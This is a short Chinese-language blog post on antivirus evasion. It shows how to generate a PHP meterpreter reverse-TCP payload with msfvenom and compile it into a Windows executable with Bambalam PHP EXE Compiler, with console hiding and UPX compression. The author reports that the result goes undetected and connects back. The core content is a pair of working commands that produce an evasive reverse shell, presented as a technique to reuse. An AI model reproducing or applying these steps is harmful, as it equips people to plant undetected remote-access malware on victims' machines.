0x00 前言

最近一直在研究 bypass 杀软这块,测试了流行的各种语言的 shellcode 加载器,想了解下各种语言下的实现原理。但是回过头来一想,shellcode 不也是代码吗?为什么一定要通过执行机器码上线呢?只要能够建立 TCP 等各种通道的连接,各种语言的代码不也能实现嘛?要解决的只是是否能在 Windows 平台下运行(可执行文件)。

于是这里就想到了 MSF 下可以用各种脚本语言的 payload 配置监听器来上线。于是想到了 PHP,是否可以把 PHP 文件转成适用于 Windows 平台的独立可执行文件,就像 pyinstaller 打包 python 文件一样,不需要依赖于环境。

下面就来讲下 PHP 转 exe 具体的操作和实现。

0x01 操作与实现

这里主要思路就是 msfvenom 生成一个 PHP 的马,通过工具把它转为 exe,然后建立监听器接收 session 就好了。

这里用到了一个叫 Bambalam PHP EXE Compiler 的工具。

Bambalam PHP EXE Compiler 是一个小巧的命令行工具,能够把 PHP 脚本转换成 windows 的标准 exe 可执行文件,可以考虑用来发布自己写的一些 PHP 桌面应用程序比如基于 gtk 的客户端程序 (用 winBinder 或 php-gtk 建立的 PHP 程序)

这个工具的参数列表如下所示,可以隐藏控制台和压缩体积,正好可以来处理我们的马。

选项:

-w # 隐藏控制台窗口窗口的应用程序
-c # 压缩输出exe(使用UPX)
-d # 不编码PHP文件
dll # 嵌入和使用PHP扩展
-i # licon.ico添加图标到exe

使用这个工具转 exe,如果说想要隐藏控制台,需要处理下 PHP 马的内容,删除开头的 /* 字符。

生成一个 PHP 马:

msfvenom -p php/meterpreter_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=33333 -f raw > shell.php

1.png

使用 Bambalam PHP EXE Compiler 对文件进行处理。

bamcompile.exe -w  -c shell.php shell.exe

2.png

很好,体积也很小。

3.png

也不杀,测试下上线。
4.png
5.png
6.png

0x02 总结

这里测试不需要 PHP 的环境即可上线,思考一下还可以怎样实现免杀呢?

原文作者:Keefe

标签: none

添加新评论